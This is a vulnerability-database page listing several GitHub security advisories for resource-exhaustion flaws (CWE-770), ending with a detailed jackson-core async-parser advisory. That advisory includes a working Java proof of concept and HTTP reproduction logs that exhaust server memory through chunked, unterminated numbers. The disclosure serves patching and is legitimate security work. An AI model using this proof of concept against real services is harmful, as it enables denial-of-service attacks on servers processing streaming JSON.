CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3510 vulnerabilities reference this CWE, most recent first.
GHSA-R79H-X82M-QG3C
Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2022-05-13 01:15Specific IPv6 DHCP packets received by the jdhcpd daemon will cause a memory resource consumption issue to occur on a Junos OS device using the jdhcpd daemon configured to respond to IPv6 requests. Once started, memory consumption will eventually impact any IPv4 or IPv6 request serviced by the jdhcpd daemon, thus creating a Denial of Service (DoS) condition to clients requesting and not receiving IP addresses. Additionally, some clients which were previously holding IPv6 addresses will not have their IPv6 Identity Association (IA) address and network tables agreed upon by the jdhcpd daemon after the failover event occurs, which leads to more than one interface, and multiple IP addresses, being denied on the client. Affected releases are Juniper Networks Junos OS: 17.4 versions prior to 17.4R2; 18.1 versions prior to 18.1R2.
{
"affected": [],
"aliases": [
"CVE-2019-0031"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-10T20:29:00Z",
"severity": "HIGH"
},
"details": "Specific IPv6 DHCP packets received by the jdhcpd daemon will cause a memory resource consumption issue to occur on a Junos OS device using the jdhcpd daemon configured to respond to IPv6 requests. Once started, memory consumption will eventually impact any IPv4 or IPv6 request serviced by the jdhcpd daemon, thus creating a Denial of Service (DoS) condition to clients requesting and not receiving IP addresses. Additionally, some clients which were previously holding IPv6 addresses will not have their IPv6 Identity Association (IA) address and network tables agreed upon by the jdhcpd daemon after the failover event occurs, which leads to more than one interface, and multiple IP addresses, being denied on the client. Affected releases are Juniper Networks Junos OS: 17.4 versions prior to 17.4R2; 18.1 versions prior to 18.1R2.",
"id": "GHSA-r79h-x82m-qg3c",
"modified": "2022-05-13T01:15:21Z",
"published": "2022-05-13T01:15:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0031"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA10920"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107874"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R7FP-6P6G-F7F5
Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2025-04-20 03:44The _zip_read_eocd64 function in zip_open.c in libzip before 1.3.0 mishandles EOCD records, which allows remote attackers to cause a denial of service (memory allocation failure in _zip_cdir_grow in zip_dirent.c) via a crafted ZIP archive.
{
"affected": [],
"aliases": [
"CVE-2017-14107"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-01T17:29:00Z",
"severity": "MODERATE"
},
"details": "The _zip_read_eocd64 function in zip_open.c in libzip before 1.3.0 mishandles EOCD records, which allows remote attackers to cause a denial of service (memory allocation failure in _zip_cdir_grow in zip_dirent.c) via a crafted ZIP archive.",
"id": "GHSA-r7fp-6p6g-f7f5",
"modified": "2025-04-20T03:44:16Z",
"published": "2022-05-13T01:02:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14107"
},
{
"type": "WEB",
"url": "https://github.com/nih-at/libzip/commit/9b46957ec98d85a572e9ef98301247f39338a3b5"
},
{
"type": "WEB",
"url": "https://blogs.gentoo.org/ago/2017/09/01/libzip-memory-allocation-failure-in-_zip_cdir_grow-zip_dirent-c"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R7JW-X37R-VM35
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:41In ytnef 1.9.2, an allocation failure was found in the function TNEFFillMapi in ytnef.c, which allows attackers to cause a denial of service via a crafted file.
{
"affected": [],
"aliases": [
"CVE-2017-12144"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-02T05:29:00Z",
"severity": "MODERATE"
},
"details": "In ytnef 1.9.2, an allocation failure was found in the function TNEFFillMapi in ytnef.c, which allows attackers to cause a denial of service via a crafted file.",
"id": "GHSA-r7jw-x37r-vm35",
"modified": "2025-04-20T03:41:57Z",
"published": "2022-05-13T01:42:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12144"
},
{
"type": "WEB",
"url": "https://github.com/Yeraze/ytnef/issues/51"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LFJWMUEUC4ILH2HEOCYVVLQT654ZMCGQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LFJWMUEUC4ILH2HEOCYVVLQT654ZMCGQ"
},
{
"type": "WEB",
"url": "https://somevulnsofadlab.blogspot.com/2017/07/ytnefallocation-failed-in-tneffillmapi.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100098"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R7M4-F9H5-GR79
Vulnerability from github – Published: 2024-10-14 21:07 – Updated: 2025-11-03 22:48Impact
Jetty PushSessionCacheFilter can be exploited by unauthenticated users to launch remote DoS attacks by exhausting the server’s memory.
Patches
- https://github.com/jetty/jetty.project/pull/9715
- https://github.com/jetty/jetty.project/pull/9716
Workarounds
The session usage is intrinsic to the design of the PushCacheFilter. The issue can be avoided by: + not using the PushCacheFilter. Push has been deprecated by the various IETF specs and early hints responses should be used instead. + reducing the reducing the idle timeout on unauthenticated sessions will reduce the time such session stay in memory. + configuring a session cache to use session passivation, so that sessions are not stored in memory, but rather in a database or file system that may have significantly more capacity than memory.
References
- https://github.com/jetty/jetty.project/pull/10756
- https://github.com/jetty/jetty.project/pull/10755
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.17"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-servlets"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.17"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-servlets"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.0.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-servlets"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6762"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-14T21:07:29Z",
"nvd_published_at": "2024-10-14T16:15:03Z",
"severity": "LOW"
},
"details": "### Impact\n Jetty PushSessionCacheFilter can be exploited by unauthenticated users to launch remote DoS attacks by exhausting the server\u2019s memory.\n\n### Patches\n* https://github.com/jetty/jetty.project/pull/9715\n* https://github.com/jetty/jetty.project/pull/9716\n\n### Workarounds\nThe session usage is intrinsic to the design of the PushCacheFilter. The issue can be avoided by:\n + not using the PushCacheFilter. Push has been deprecated by the various IETF specs and early hints responses should be used instead.\n + reducing the reducing the idle timeout on unauthenticated sessions will reduce the time such session stay in memory.\n + configuring a session cache to use [session passivation](https://jetty.org/docs/jetty/12/programming-guide/server/session.html), so that sessions are not stored in memory, but rather in a database or file system that may have significantly more capacity than memory.\n\n### References\n* https://github.com/jetty/jetty.project/pull/10756\n* https://github.com/jetty/jetty.project/pull/10755",
"id": "GHSA-r7m4-f9h5-gr79",
"modified": "2025-11-03T22:48:56Z",
"published": "2024-10-14T21:07:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-r7m4-f9h5-gr79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6762"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/10755"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/10756"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/9715"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/pull/9716"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/24"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00001.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Eclipse Jetty\u0027s PushSessionCacheFilter can cause remote DoS attacks"
}
GHSA-R7MF-2MHR-JHVP
Vulnerability from github – Published: 2026-04-22 12:30 – Updated: 2026-04-22 12:30An attacker can send a web request that causes unlimited memory allocation in the internal web server, leading to a denial of service. The internal web server is disabled by default.
{
"affected": [],
"aliases": [
"CVE-2026-33260"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T10:16:51Z",
"severity": "MODERATE"
},
"details": "An attacker can send a web request that causes unlimited memory allocation in the internal web server, leading to a denial of service. The internal web server is disabled by default.",
"id": "GHSA-r7mf-2mhr-jhvp",
"modified": "2026-04-22T12:30:29Z",
"published": "2026-04-22T12:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33260"
},
{
"type": "WEB",
"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-2026-05.html"
},
{
"type": "WEB",
"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-powerdns-2026-03.html"
},
{
"type": "WEB",
"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R7WM-3CXJ-WFF9
Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30Summary
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
- com.fasterxml.jackson.core:jackson-core 2.18.6
- com.fasterxml.jackson.core:jackson-core 2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Compare with the fraction path that is correct
_finishFloatFraction lines 1827-1838:
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
- JVM: OpenJDK 17.0.18
- Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server-side controller trace (250 DataBuffer arrivals elided):
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:58:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir 